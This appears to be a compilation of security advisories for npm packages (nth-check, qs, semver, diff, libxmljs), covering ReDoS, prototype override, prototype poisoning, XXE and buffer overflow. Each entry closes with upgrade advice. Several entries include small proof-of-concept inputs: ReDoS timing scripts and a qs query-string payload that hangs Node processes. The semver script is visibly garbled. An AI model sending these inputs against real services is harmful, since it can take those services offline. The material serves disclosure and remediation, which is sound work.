Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when parsing crafted invalid CSS nth-checks, due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? in RE_NTH_ELEMENT with quantified overlapping adjacency.

PoC

var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }
    catch(err) {
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nth-check to version 2.0.1 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

• February 13th, 2017 - Reported the issue to package owner.
• February 13th, 2017 - Issue acknowledged by package owner.
• February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
• March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

Remediation

Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

• GitHub PR
• RedHat Bugzilla Bug
• Researcher Advisory

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC

const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR
• Vulnerable Code
• Vulnerable Code
• Vulnerable Code

Overview

diff is a javascript text differencing implementation.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can cause an impact of about 10 seconds matching time for data 48K characters long.

Disclosure Timeline

• Feb 15th, 2018 - Initial Disclosure to package owner
• Feb 16th, 2018 - Initial Response from package owner
• Mar 5th, 2018 - Fix issued
• Mar 6th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade diff to version 3.5.0 or higher.

References

• GitHub Commit

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Improper Input Validation. XML external entity (XXE) vulnerability in the xmlStringLenDecodeEntities function in parser.c in libxml2 before 2.9.4, when not in validating mode, allows context-dependent attackers to read arbitrary files or cause a denial of service (resource consumption) via unspecified vectors.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

• Git.gnome.org

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Stack-based Buffer Overflow in the xmlSnprintfElements() function. An attacker can overwrite out-of-bounds stack memory with XML NCName data by supplying a malicious XML document or malicious DTD.

This vulnerability is similar to the previously reported and patched (CVE-2017-9047)[https://security.snyk.io/vuln/SNYK-UNMANAGED-LIBXML2-3004044].

Remediation

There is no fixed version for libxmljs.

References

• GitHub Commit
• Gitlab Commit
• Gitlab Issue

GPL-3.0 license